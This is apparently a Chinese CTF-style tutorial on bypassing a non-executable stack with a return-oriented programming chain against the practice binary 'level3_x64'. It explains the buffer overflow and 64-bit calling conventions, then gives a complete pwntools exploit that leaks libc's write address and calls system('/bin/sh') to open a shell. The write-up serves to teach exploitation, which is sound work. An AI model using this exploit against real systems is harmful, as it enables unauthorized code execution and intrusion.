NX 栈不可执行的绕过方式--ROP链
目标程序下载
提取码:5o0a环境:Ubuntu linux
工具
- pwn-gdb
- pwntools python库
- ROPgadget
( 这些工具可以到github官网找)
1.检查程序开了哪些安全机制
checksec 检查保护机制
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found 金丝雀
NX: NX enabled 栈不可执行Windows平台上称其为DEP
PIE: No PIE (0x8048000) 内存地址随机化机制,Windows平台上称其为ASLR
2.在ida中静态查看看程序中的漏洞点
可以看到 buf 这个字符串数组只有0x80的大小,但是却可以 read 0x200 个字节
多出来的 0x200-0x80 就会造成溢出
函数调用方式的基本介绍
32位程序默认调用函数的方式为先将参数压入栈中,靠近call指令的是第一个参数
而64位程序默认调用函数的方式则不同
- RDI 中存放第1个参数
- RSI 中存放第2个参数
- RDX 中存放第3个参数
- RCX 中存放第4个参数
- R8 中存放第5个参数
- R9 中存放第6个参数
- 如果还有更多的参数,再把过多那几个的参数像32位程序一样压入栈中
- 然后 call
rop 的基本介绍
这里只说一下64位程序的rop,了解完64位的rop,32位的程序稍微做一下函数调用方式上的改变就好了
比如:现在有3个函数 a(&arg1,arg2),b(arg3,arg4),c(arg1),其中b函数有栈溢出漏洞,a函数是个输入函数,c函数是system函数
我们要利用b函数的漏洞,运行c函数,而c函数需要从a函数上得到"/bin/sh"这种参数
该怎么做呢?
首先我们要知道 call 指令与 ret 指令是有两步操作的
call指令:
1. 先把下一句指令的地址压入栈顶 rsp+=8
2. 跳转到call后面跟的地址上去
ret指令:
1. 跳转到rsp所指的地址(之前的call压入的)
2. rsp-=8
如果我们调用函数时不使用call指令呢?
函数结束时,移动栈顶(清栈) jmp [rsp] ,rsp-=8
程序中找 pop rsi,pop rdi,ret 这种相连的指令(不相连也可以,不要再影响rsi,rdi就好),把地址记录下来pop_ret
程序中找 pop rdi,ret 这种相连的指令,把地址记录下来pop_ret2
好,我们把c函数的rbp+8的位置写 pop_ret 的地址
- rbp+8 pop_ret
- rbp+16 arg2
- rbp+24 arg1
- rbp+32 a函数的地址
- rbp+40 pop_ret2
- rbp+48 arg1
- rbp+56 c函数的地址
当b运行结束后,会返回到 pop_ret 位置
pop rsi rsi=arg2
pop rdi rdi=agr1
jmp a函数
a函数 执行完后 会ret 到pop_ret2
pop rdi rdi=arg1
然后运行c函数
回到我们的目标程序
gdb打开程序
gdb level3_x64 -q
b mian
vmmap
查看libc的系统位置
ROPgadget --binary level3_x64 --only 'pop|ret'
找到main函数的地址
from pwn import *
p = process("./level3_x64") #本地调试
#p = remote("x.x.x.x",xxxx) #远程调试remote(ip,port)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./level3_x64")
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A
write_plt = elf.plt["write"]
write_got = elf.got["write"]
padding = (0x80 + 8 ) * "a"
#0x80字符串长度要覆盖过去,+8是要覆盖rbp
payload1 = padding + p64(pop_rdi_ret) +\
p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) +\
p64(0) + p64(write_plt) + p64(main_addr)
#通过plt表中的write调用 write(1,write_plt,...)
#第三个参数只要当前rdx寄存器中的数大于8就好
#然后返回main函数重新运行,准备重新触发漏洞
p.sendafter("Input:\n",payload1)
addr = u64(p.recv(6).ljust(8,"\x00"))
#通过write_plt找泄露libc中write的地址
libc.address = addr - libc.symbols["write"]
#通过write的地址 找libc基地址
binsh=libc.search("/bin/sh").next()
#通过libc基地址找libc中这个字符串的地址
system=libc.symbols["system"]
#通过libc基地址找libc中systemp函数的地址
payload2 = padding + p64(pop_rdi_ret)+ p64(binsh)+p64(system)
#system("bin/sh")
p.send(payload2)
p.interactive()
成功启动了shell
NX 栈不可执行的绕过方式--ROP链的更多相关文章
- Linux保护机制和绕过方式
Linux保护机制和绕过方式 CANNARY(栈保护) 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...
- pie的绕过方式
目标程序下载 提取码:qk1y 1.检查程序开启了哪些安全保护机制 pie机制简介 PIE(position-independent executable) 是一个针对代码段.text, 数据段.*d ...
- 数据库语法整理及WAF绕过方式
关系型数据库 关系型数据库:指采用了关系模型来组织数据的数据库. 直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织 当今主流的关系型数据库有:Oracle,M ...
- Maven打包可执行Jar包方式
第一步:pom.xm中的build标签下加入maven插件配置,打包生成可执行jar包方式Maven中的打包方式更换为 <packaging>jar</packaging> b ...
- C# -- 等待异步操作执行完成的方式
C# -- 等待异步操作执行完成的方式 1. 等待异步操作的完成,代码实现: class Program { static void Main(string[] args) { Func<int ...
- MySQL统计信息以及执行计划预估方式初探
数据库中的统计信息在不同(精确)程度上描述了表中数据的分布情况,执行计划通过统计信息获取符合查询条件的数据大小(行数),来指导执行计划的生成.在以Oracle和SQLServer为代表的商业数据库,和 ...
- Oracle查看SQL执行计划的方式
Oracle查看SQL执行计划的方式 获取Oracle sql执行计划并查看执行计划,是掌握和判断数据库性能的基本技巧.下面案例介绍了多种查看sql执行计划的方式: 基本有以下几种方式: ...
- C# -- 等待异步操作执行完成的方式 C# -- 使用委托 delegate 执行异步操作 JavaScript -- 原型:prototype的使用 DBHelper类连接数据库 MVC View中获取action、controller、area名称、参数
C# -- 等待异步操作执行完成的方式 C# -- 等待异步操作执行完成的方式 1. 等待异步操作的完成,代码实现: class Program { static void Main(string[] ...
- Linux执行shell脚本方式及区别&命令后台运行
Linux执行shell脚本方式及区别&命令后台运行 http://blog.csdn.net/heqiyu34/article/details/19089951/
随机推荐
- 从零起步做到Linux运维经理,你必须管好的23个细节
不想成为将军的士兵,不是好士兵-拿破仑 如何成为运维经理?成为运维经理需要什么样的能力?我想很多运维工程师都会有这样的思考和问题. 如何成为运维经理.一般来说,运维经理大概有两种出身,一种是从底层最基 ...
- 【转】Ubuntu做日常开发电脑的系统是一种怎样的体验
[原文]https://www.toutiao.com/i6594291159911105031/ Ubuntu 我现在已经基本不开windows了.学习娱乐开发基本都在Ubuntu 首先你要接受的是 ...
- .NET Core 使用 EF 出错的解决方法
在.NET Core 项目钟(类库),使用Entity Framework,建立模型生成数据库时,失败 Could not load assembly 'xxx'. Ensure it is refe ...
- WCF 基于 WinForm 宿主 发布
ServiceHost Host = new ServiceHost(typeof(ServiceHTTP)); //绑定 System.ServiceModel.Channels.Binding h ...
- 'javac' 不是内部或外部命令,也不是可运行的程序
今天在命令行中运行javac命令时发现 但是运行java命令却可以 查找jdk的安装路径发现,安装目录里面同时有jdk的文件夹和jre的文件夹 查看了jdk的目录发现jdk目录中也有一个jre文件夹 ...
- 【Alpha Go】Day 1 !
[Alpha Go]Day 1 ! Part 0 · 简要目录 Part 1 · 任务分配 Part 2 · 他日安排 Part 3 · 预期任务量 Part 4 · 团队贡献值计算原则 Part 1 ...
- Promise 模式解析:Promise模式与异步及声明式编程
一.构建流程 1.(异步)数据源(请求)的构建:Promise的构建并执行请求: 2.处理流程的构建:then将处理函数保存: 二.处理: 1.请求的响应返回: 2.调用后继处理流程. 三. 1.构建 ...
- 安装 Autoconf, Automake & Libtool
今天在使用sudo apt-get install命令安装autoconf和automake时,出现了问题,说是不能sudo apt-get install安装这些软件似乎不是最新的.由此,我通过搜索 ...
- Android4.4 ContentResolver查询图片无效 及 图库删除 增加图片后,ContentResolver不更新的问题解决
问题背景: 参考链接 做了一个图片浏览,用ContentResolver扫描图库照片,且严格按照时间拍摄顺序排好序显示在listview里.如下图所示: 遇到的问题是在4.2的手机上能正常显示,但是新 ...
- WorldWind源码剖析系列:日志类Log
Utility工程中的日志类Log主要用来输出Debug状态下的调试信息.该类的类图如下: 日志类Log中使用到的类和内嵌结构体类型主要有以下这些: public class LogEventArgs ...